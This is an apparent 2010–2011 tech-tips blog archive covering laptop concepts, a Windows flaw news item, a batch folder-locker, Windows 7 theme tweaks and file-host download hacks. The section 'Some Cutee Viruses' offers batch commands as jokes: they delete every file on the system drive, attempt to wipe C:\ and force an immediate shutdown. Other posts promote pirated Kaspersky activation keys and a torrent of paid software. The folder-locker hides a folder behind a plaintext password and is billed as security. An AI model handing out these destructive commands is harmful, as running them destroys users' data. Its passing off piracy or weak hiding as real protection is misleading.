Chitika

Showing posts with label Computer Guide. Show all posts
Showing posts with label Computer Guide. Show all posts

Thursday, 10 February 2011

Amazing and Futuristic Laptop Concepts

Curved iMac Concept

HP LiM Laptop Concept

HP LiM concept is set to feature a 19″ transparent touch OLED screen along with a wireless keyboard. The touch screen slides down to create a more ergonomic touch experience and easy navigation. It also features a virtual trackpad thus cutting down on mouse costs

Gelfrog Laptop Concept

Watch out, Apple. Here comes gelfrog. Looking like something right out of Mars Attacks! (“We come in peace”) with its green elastic outer “skin”, the organic-looking notebook utilizes super-pliable elastomer to act as a smart skin. The result: An almost durable yet lightweight device that won’t be toast if you drop it. The clever folks at Frog Design have factored in chameleon-like functions that include the gelfrog acting as a mobile mirror, a photo slideshow, a video projector, and even running a cloning algorithm that scans the user’s outfit and re-projects a matching and complementary pattern.This futuristic laptop is easy accessible, very durable and it adapts to the individuality of the user. The stylish laptop is called Gelfrog and it features some good educational products and knowledge attributions.

LG e-Book Laptop Concept

LG introduced e-Book, an ecological laptop concept that uses fuel cell batteries and features organic light-emitting diode (OLED) display technology. This concept notebook received a Red Dot Award nomination for “Best Concept Design” for 2006.The batteries of the LG e-Book use natural gas, methanol, and other eco-friendly liquid fuels. The fuel is stored in a transparent cylindrical hinge.

The LG’s future laptop uses organic light-emitting diode (OLED) panels for display instead of the current liquid crystal display (LCD) panel. Unlike LCD, OLED does not need a frame around it, and it consumes less electricity. The keypad will also be made of a singe OLED panel, like the one used in LG’s Chocolate Phone, according to the report.

Horizon Laptop Concept

his flexible OLED monitor concept which supposes the OLED material would roll up inside the white stand and allow the user to choose the optimum screen size. Supposing that the material could compact itself that tightly, he goes on and mounts a cd drive behind the translucent screen and for good measure throws some invisible projection technology in as well.

Acer Frameless Laptop Concept

It has recently been reported that Acer is working on a new laptop concept with a frameless touch keyboard and frameless touch screen.

Is it true? Probably… The concept presumably uses a reinforced glass substrate from Corning (maybe Gorilla Glass). It is not known at the moment when this frameless laptop will be unveiled, but I wouldn’t expect it for another year or two at the earliest although the source who provided the details to DigiTimes estimates the second half of this year.

Sony Ericsson Irikino Tablet Concept

Dell XPS Baton PC Laptop Concept

The Dell XPS Baton PC can work as a laptop or desktop computer, depending on the use of the screens and their positioning. The device can even be turned into some sort of tablet or an eBook, but variations can go on an on, each more astonishing than the last.

Canvas Laptop Concept

Kyle Cherry has developed the laptop of the 21st century. The futuristic concept is called Canvas and is supposed to provide a better quality for the designer and also it’s said that it will raise the productive rate of the artist. The laptop will feature a very thin touchscreen and the other components will look just about the same but they will be better adjusted.

IBM Laptop Concept For Spies

his IBM laptop concept is truly out of this world, and Nicolas Lehotzky sure has a wild imagination. You will find a security knob as well as hidden USB ports (how irritating) to help you in your espionage activities. The built-in paper shredder should come in handy to do away with any incriminating evidence just in case you’re a little short on intestinal fortitude to bite on that cyanide pill once caught by the authorities.

Monday, 7 February 2011

Microsoft hack scare


Some versions of Microsoft Windows' operating system are vulnerable to attack from hackers; a flaw in the software can let hackers take full control of your personal computer

Once again, Microsoft Windows is under fire with several versions of its operating system being vulnerable to hackers.

Earlier this week, Microsoft had warned its users about the bug in a special alert saying that Microsoft is still looking for the workaround to the problem that it says may leave a personal computer open to attacks from hackers, including taking control of a PC system remotely.

The software giant said that it is not aware of any such attacks yet, where a hacker has tried to exploit the system’s vulnerability. According to Microsoft, the problem involves the way Windows renders graphics on versions of Windows XP, Windows Vista, Windows Server 2003 and Windows Server 2008.

However, the company claimed that its' recently launched operating system for personal computers, Windows 7 and the latest operating system for servers, Windows Server 2008 R2, are completely free from the said flaws.

In December 2010, Microsoft started investigating possible Internet Explorer and FTP security flaws in the company developed operating systems. It is believed that one of the flaws provides a possible opportunity for remote code execution attacks via Internet Explorer. The other flaw could enable denial of service attacks by exploiting vulnerability in Internet Information Services FTP 7.5.

As an initial preventive measure Microsoft suggested to its users to deploy Microsoft’s Enhanced Mitigation Experience Tool kit [EMET], as a workaround; both run as a part of Windows 7 and Windows Server 2008 R2.

The flaw is said to work by bypassing protections normally enabled by Microsoft’s address space layout randomization [ASLR] and data execution prevention [DEP] technologies.

It is anticipated that the company may provide additional guidance to help customers protect themselves from any such attacks or issue a fix through its monthly security update process.

Thursday, 3 February 2011

Teach Yourself PHP in 24 Hours-Free Ebook


This is a book about PHP, the open source Web scripting language that has joined Perl, ASP,
and Java on the select list of languages that can be used to create dynamic online
environments. It is also a book about programming. In the space available, it is neither
possible to create a complete guide to programming in PHP nor to cover every function and
technique that PHP offers. Nevertheless, whether you are an experienced programmer
considering a move to PHP or a newcomer to scripting, the steps in this book should provide
enough information to get your journey off to a good start.

Wednesday, 2 February 2011

Building with HTML5 Tech Talk







Sunday, 30 January 2011

Increase Wateen USB Signals

As a strict DSL user previously i don’t have any good orbad experience of using USB providing internet services. But due to some circumstances it becomes mandatory for me to use USB device.

I talk to my friend and he use to tell me that he have inactivated wateen usb device, just activate it and use it. I take device , and going to use it. But problem was low signal tendency, then what i did to increase the signal strength is described below.

In order to increase the signal strength of USB device like wateen, EVO, Worldcall you just have to follow these steps.

Apparatus:

  • A thin foil Tin like pepsi, coke etc
  • Scissors
  • Wateen Device

Procedure:

  • Cut both top and bottom edges of the tin
  • Cut it horizontally, it will become like a disc
  • Make a hole just in the middle of the disc
  • Insert usb device in that hole
  • Plug it into USB port

Video Tutorial is given below



Thats all, no matters whether you are in your bedroom, drawing room or any where, just attach that tintena and enjoy maximum signals i.e. about 70 % more than before attaching tintena.


Sunday, 2 January 2011

How to set autoreply status on Google talk / Gtalk

Whenever you are idle, and not at the desk, you staying online may just keep your friends waiting for your reply when they ping you. This is sometimes irritating for the friend on other side, so either you need to be logged out totally or let your friends know about your actual status. So here is an easy-to-use tool for windows users who use gtalk, and would want to let their friends know about their status of being away for that while.

Its Gtalk Autoreply software, which would just need your gtalk ID and password, and a message that needs to be sent to your friends who ping you on gtalk while you are away.
There’s an option on whether you want the software to start automatically when Windows starts



Thursday, 23 December 2010

Lock your folder without any software


Step 1:
copy the following code

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

Step 2:
Create a new Text document and past this code:
Step 3: Save as batch file...name is like (extension .bat)
now u will see a bat file now double click on bat file a folder will create automatically in the same directory, now save your files in the folder after all double click on extension bat file the folder will be lock......

Hack Rapidshare and megaupload

Method 1

1.open your rapid share link
2.then click on free.
3.As soon as timer start type this in address bar and click enter
javascript:alert(c=0)
4.a pop up message will come click ok your counter is zero just download the stuff

Method 2

1.Delete the cookies in your browser internet explorer or Firefox or opera or whatever u use).
2.Press start->run,type cmd.
3.In the command prompt,type ipconfig/flushdns press enter.Then type ipconfig/release,then ipconfig/renew .Now type exit.
4.Now try downloading, for many people this may work if their ISP provides a dynamic ip

Method 3

1.Just switch off your router or modem) and switch it back on.
2.This may work for some users Mtnl and Bsnl) and maybe some others too.

Actually these methods generally work for those people whose ISP gives them dynamic ip.
If these don't work then one more thing that can be done is to use proxies.

Method 4

1.Download the software Hide ip platinum
2.Run it, then it will automatically chose a proxy (ip of a different country) for you. So you can easily download without any restrictions. You just have to change the proxy each time you download.

MEGA UPLOAD

Mega upload is very easy to hack to solve the download slots problem). Just go to http://leech.megaleecher.net/
Here you will find a place to put your original link. Put it there press enter and then you will get a direct link within some seconds. You are done!!!!!

Some Cutee Viruses :)


1.Virus Code this Virus Code will deleted your all files in hard drive....just copy code and save it into notepad and save as batch file..:)
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2.Virus Code this Virus will crush your window...:D
just copy n save as batch file..

@Echo off
Del C:\ *.* y

3.This Virus Will just restart your pc

@echo off shutdown -r -f -t 00
save as anyname.bat

How to Password Protect your Files and Folders


Do you have files and folders on your computer that you absolutely don’t want anyone else to see? Or do you even carry important documents on those easy-to-misplace USB drives?

If the answer is yes, you should definitely download a copy ofSafeHouse Explorer – it’s a free and incredibly easy-to-use file encryption utility that will hide all your private files from prying eyes in few easy steps. You may use the tool to password protect files that are residing on your computer’s internal hard disk or even on external USB drives.

Tutorial: Encrypt and Password Protect your Files and Folders

SafeHouse Explorer, in simple English, works something like this. It creates a hidden storage area on your disk to hold all the files that you want to protect. These files and folders are hidden from normal view and will only become visible when you enter the correct password.

Here’s a more detailed tutorial on how you can protect your files with SafeHouse Explorer.

Step 1: Download and install SafeHouse Explorer to your hard-drive.


he software works with XP, Vista and Windows 7 (both 32 and 64-bit editions). It is also portable so you may run it directly without installation.

Step 2: Once the installation is complete, click the “New Volume” button to create your hidden storage that will house your various files and folders.

You may either create one large volume to store all the “private” files or you can create multiple smaller-size volumes each corresponding to the type of files that they’ll store. For instance, you may have one volume for storing confidential documents and spreadsheets while another one could be for hiding those “personal” pictures and so on.




For step 2b, choose a volume size based on the size of the folders that you’ll be storing inside that volume. The “Pre-initialize Volume with Random Data” basically means that your virtual drive will be filled with random data if there aren’t enough files to fill complete that volume. Use the default “on” setting.

Step 3. Now that your volume is created, open Windows Explorer (Win+E) and you’ll see a new “virtual drive” under My Computer. Just drag and drop any of your folders and files into this virtual drive and they’ll instantly get protected using encryption.

Once you have added all the files to the “protected” volume, make sure you delete them from the original location as the original copy is unencrypted and therefore anyone can open it without requiring a password.

Step 4. Switch to SafeHouse Explorer and choose File –> Close Volume to lock up the files. Congratulations. You have successfully created your first encrypted and password-protected folder on your computer that you can only access after typing the correct password.


To access your protected files, simply navigate to the folder that houses your SafeHouse volumes and double-click the corresponding volume file to open it. Type the password and you should see all the files and folders under a virtual drive in Windows Explorer again.

Encryption is obviously a complex subject for most of us but what you’ll really like about SafeHouse Explorer is that it hides all the technical details from the end user.

Encrypt your USB Flash Drive and Email Attachments

The tool will also be extremely handy for people who carry around important and confidential files on USB drives and external hard disks.

Instead of copying files and folders to your external disk directly, first encrypt these files on the hard-drive (as explained above) and then copy the encrypted volume (the .sksk file) to your external disk. Now even if the drive gets misplaced, the finder won’t be able to read any of your files and, since the software uses 256-bit encryption, it will be nearly impossible for anyone to crack your password.

Similarly, you can add an extra layer of protection to your sensitive email attachments with SafeHouse. Encrypt the files, send them as email attachments and communicate the password to the recipient over another medium (like phone).

Monday, 13 December 2010

Use USB Flash Drives As A RAM

You might be probably searching for such software that can convert your 4 GB USB flash drive to usable RAM. I am going to guide you through the steps and tools that will be using your USB storage as a RAM. Though windows supports virtual paging file which uses your harddisk as a temporary RAM. But if you are working on notebook with lower RAM then Virtual RAM will boost up the harddisk usage. Finally dropping your battery life.Therefore, using your USB storage device as RAM can be one of the best alternative for your real RAM.First of all, you’ll need to download this file, Eboostr (Trial Version) or Eboostr (Full Version from torrent ).Now you’ve one of the above file downloaded to your computer. Install it with default settings.After installation, it is compulsary to reboot your computer.


  • Insert your USB flash drive first then open eBoostr from start menu.

  • In the program window, go to Edit > Add new cache device





  • You’ll see your USB disk at the left screen. Select it and click ok.





  • Then start caching the memory in your USB drive.Alternatively, you can also click on Autoconfiguration button. Program will diagnose your system. After the diagnose is ended, click next. Choose all the recommended option to increase your system performance and click Next.


  • Now program will start to cache your memory. You may feel some difference in your windows performance.



This software requires USB device more than 256 MB.

It stores the current memory as a cache in your USB device. Eboostr stores cache of your frequently used applications on your USB Flash drive. It will help to reduce the Hard Disk access which is comparatively slower as compared to access in chips. Since hard disk requiers motor to rotate the disks, it will also consume a lot of your battery.


Saturday, 4 December 2010

Kaspersky Anti-Virus 2011 11.0.1.400




1) Download Kaspersky Antivirus. Free Download kaspersky
2) Install it on your computer.

Activation Kaspersky 2010 license using key file:

1. Open your Kaspersky 2010 License Manager.

2. Click Activate New License.

3. Select Activate commercial license and enter the activation license code as T1JVS-NNMBD-K1QTN-SUBP8 (beta code).

4. Click Next. Now you’ll get a dialog box, click Ok on it.


5. That’s it. Now you will see the option of a key file to activate your KAV/KIS 2010 product.



6) Browse to the key location on your PC and activate your product easily.(if u have any file key)
7) File key download here if u have no any key file..
Key File 1
Key File 2

Friday, 26 November 2010

Trick To Enable/Unlock Hidden Themes In Windows 7

Windows 7 has been a real delight for the eyes due to its excellent graphics.By defualt Windows 7 has 5 themes enabled for all countries but there are additional themes which are country specific and enabled according to your demographic location.In this tutorial I will show you how to enable/unlock the country specific hidden themes in windows 7.Once enabled these themes will always be available to you.There are two ways to enable these hidden themes.I will explain both of them to you and you can use any one of them whichever you find easy.

Here is the step by step tutorial with screenshots on how to Enable/Unlock Hidden Themes In Windows 7

Method 1:-

1.Goto Control Panel.

2.Click on Folder Options.

Note:- If Folder options is not available ,change the view to large icons at top-right corner of the screen

3.Now Click On the View tab.

4.Now uncheck the box Hide protected operating system files (Recommended)

5.It will show you a warning.Click Yes.

6.Now Goto C:\Windows\Globalization\MCT\

7.Inside this folder you will see folders with name MCT-XX where XX will be AU,CA etc.These are the country codes in which these themes are automatically available.

8.Inside each MCT-XX you will see a Theme folder.Open it and click on the .theme file to unlock it.

9.Once unlocked the theme will be available to you in personalization option.


METHOD 2:-This is a simple method as compared to the above method


1.Open Notepad

2.Copy and Paste the following code into it.
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\InstalledThemes\MCT]
“%windir%\\Globalization\\MCT\\MCT-AU\\Theme\\AU.theme”=””
“%windir%\\Globalization\\MCT\\MCT-CA\\Theme\\CA.theme”=””
“%windir%\\Globalization\\MCT\\MCT-GB\\Theme\\GB.theme”=””
“%windir%\\Globalization\\MCT\\MCT-US\\Theme\\US.theme”=””
“%windir%\\Globalization\\MCT\\MCT-ZA\\Theme\\ZA.theme”=””

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpapers\KnownFolders\Windows Wallpapers\MergeFolders]
“%windir%\\Globalization\\MCT\\MCT-AU\\Wallpaper”=””
“%windir%\\Globalization\\MCT\\MCT-CA\\Wallpaper”=””
“%windir%\\Globalization\\MCT\\MCT-GB\\Wallpaper”=””
“%windir%\\Globalization\\MCT\\MCT-US\\Wallpaper”=””
“%windir%\\Globalization\\MCT\\MCT-ZA\\Wallpaper”=””

3.Save it with the name allregional.reg

4.Now double click on it.It will ask for your permission to add the file to registry.Click on Yes.

5.Right click on desktop and select personolize.You new themes will be available to you

Hide Folders in Nokia / Java phones without software

Hide Folders in Nokia / Java phones without software Have you ever wanted to hide folders in your phone? If yes,there here is very interesting solution for you to hide folders in your phone without the need of any software.This trick can be used for phone from Nokia,Samsung,Motorola,LG or any other company.The only requirement is that your phone should support java which almost all mobile phones support now .

So,If your phone support java then here is the Trick Hide Folders in Nokia / Java phones without software

  1. Create any new folder or you can use any existing folder that is to be hidden.
  2. Rename the folder to any name but with the extension of .jad like if I want to hide my images folder then I will name it as images.jad
  3. Now create a new folder with the same name in the same directory but with the extension of .jar So, I would create the folder with the name images.jar
  4. And thats it!! My orignal images folder which has been renamed with .jad gets hidden and only folder with.jar extension is visible which is empty.So,my data is protected/hidden from unwanted eyes.

Now ,we have to learn how to open these hidden folders.So here is the trick to open these hidden folders in Mobile phones

To unhide the orignal folder you have to remove the .jar extension from the new folder and your orignal folder with all the files and with .jad will become visible.

AS SIMPLE AS THAT!!